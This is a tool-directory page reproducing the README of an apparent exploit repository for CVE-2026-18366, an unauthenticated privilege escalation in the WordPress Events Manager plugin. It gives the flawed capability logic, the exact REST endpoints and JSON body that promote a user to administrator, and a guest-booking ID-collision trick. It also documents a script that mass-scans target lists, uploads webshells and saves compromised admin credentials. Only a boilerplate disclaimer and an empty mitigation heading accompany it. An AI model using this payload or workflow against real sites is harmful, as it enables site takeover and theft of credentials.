Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-18366 β€” Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-18366
Privilege EscalationWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-Exploitation
GitHubnxploited/cve-2026-18366

CVE-2026-18366

Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator

View Repository
2372 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2026-18366

Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator

CVE CVSS WordPress

Typing SVG


πŸ”— Stay Updated

Telegram

For the latest zero-days, exploits, and security research

Telegram Channel


πŸ“‹ Vulnerability Overview

AttributeDetails
CVE IDCVE-2026-18366
SeverityπŸ”΄ CRITICAL (CVSS 9.8)
PluginEvents Manager for WordPress
Affected Versions< 7.4.1
Vulnerability TypeUnauthenticated Privilege Escalation
Attack VectorNetwork
Authentication RequiredNone

πŸ” Technical Description

Root Cause Analysis

The vulnerability exists in EM\Archetypes::map_meta_cap within classes/em-archetypes.php. The plugin improperly scopes its capability mapping by:

  1. Treating ANY object ID as a post ID
  2. If the post is an event or location CPT, it wipes $caps = []
  3. Never refills capabilities for edit_user, delete_user, or promote_user
  4. Empty caps β†’ has_cap() returns true, including for user 0 (guest)

Attack Vector

POST|PUT|PATCH  /wp-json/wp/v2/users/{id}
POST            /index.php?rest_route=/wp/v2/users/{id}

Body: {"password":"...","roles":["administrator"]}

Condition: {id} must equal wp_posts.ID of an event or location CPT.

⚠️ Unauthenticated REST does not require a nonce (no logged-in cookie).

Guest Booking Exploitation

Guest bookings (dbem_bookings_anonymous=1 by default) create real WP users, enabling collision forcing. The booking nonce is publicly available on event forms.


πŸš€ Usage

Requirements

pip install aiohttp

Quick Start

python CVE-2026-18366.py

The script will prompt for:

  • list β†’ Path to target list file (default: list.txt)
  • speed β†’ Concurrent workers (default: 10)

Command Line Options

python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
OptionDescription
-l, --listPath to file containing target URLs
-s, --speedNumber of concurrent workers (1-200)
--timeoutRequest timeout in seconds (default: 20)

Target List Format

Create a list.txt file with one target per line:

https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com

πŸ“Š Output

Console Output

[+] [HH:MM:SS] target.com  ADMIN  username:password  uid=X  path
[+] [HH:MM:SS] target.com  SHELL  https://target.com/wp-content/plugins/...

Results File

Successful compromises are saved to adminS.txt:

https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url

πŸ”„ Exploitation Workflow

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    CVE-2026-18366 Flow                          β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                 β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  Detect  β”‚ β†’  β”‚ Collect IDs β”‚ β†’  β”‚  PATH A: ID Brute    β”‚   β”‚
β”‚  β”‚  Plugin  β”‚    β”‚  (CPT/HTML) β”‚    β”‚  REST /users/{id}    β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                                                 β”‚               β”‚
β”‚                                          β”Œβ”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”        β”‚
β”‚                                          β”‚   Success?  β”‚        β”‚
β”‚                                          β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜        β”‚
β”‚                                       No β”‚      β”‚ Yes           β”‚
β”‚                               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”‚
β”‚                               β”‚                            β”‚    β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚    β”‚
β”‚  β”‚  PATH B: Guest Book  β”‚ β†β”€β”€β”€β”˜    β”‚  Login + Verify β”‚     β”‚    β”‚
β”‚  β”‚  Create user until   β”‚          β”‚  Admin Access   β”‚     β”‚    β”‚
β”‚  β”‚  user_id == post_id  β”‚          β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚    β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                   β”‚              β”‚    β”‚
β”‚                                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚    β”‚
β”‚                                    β”‚  Upload Shell   β”‚     β”‚    β”‚
β”‚                                    β”‚  (Plugin/Theme) β”‚     β”‚    β”‚
β”‚                                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚    β”‚
β”‚                                             β”‚              β”‚    β”‚
β”‚                                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚    β”‚
β”‚                                    β”‚   Save Results  β”‚     β”‚    β”‚
β”‚                                    β”‚   adminS.txt    β”‚     β”‚    β”‚
β”‚                                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚    β”‚
β”‚                                                            β”‚    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

βš™οΈ Features

  • Async Architecture β†’ High-performance concurrent scanning
  • Dual Attack Paths β†’ ID collision + Guest booking exploitation
  • Auto Shell Upload β†’ Plugin/Theme webshell deployment
  • Version Detection β†’ Automatic vulnerable version identification
  • Smart Username Enum β†’ Multiple enumeration techniques
  • Login Verification β†’ Cookie + XML-RPC validation
  • Privilege Escalation β†’ Auto-promote to administrator

πŸ“ File Structure

β”œβ”€β”€ CVE-2026-18366.py    # Main exploit script
β”œβ”€β”€ list.txt             # Target URLs (create this)
β”œβ”€β”€ adminS.txt           # Successful results (auto-created)
└── README.md            # This documentation

⚠️ Disclaimer

╔══════════════════════════════════════════════════════════════════╗
β•‘                        LEGAL DISCLAIMER                          β•‘
╠══════════════════════════════════════════════════════════════════╣
β•‘                                                                  β•‘
β•‘  This tool is provided for EDUCATIONAL and AUTHORIZED           β•‘
β•‘  SECURITY TESTING purposes only.                                β•‘
β•‘                                                                  β•‘
β•‘  β€’ Only use on systems you own or have explicit permission      β•‘
β•‘  β€’ Unauthorized access to computer systems is ILLEGAL           β•‘
β•‘  β€’ The author is NOT responsible for any misuse or damage       β•‘
β•‘  β€’ By using this tool, you agree to these terms                 β•‘
β•‘                                                                  β•‘
β•‘  Use responsibly. Stay ethical. Respect the law.                β•‘
β•‘                                                                  β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

πŸ›‘οΈ Mitigation

If you are a WordPress administrator:

Download Tool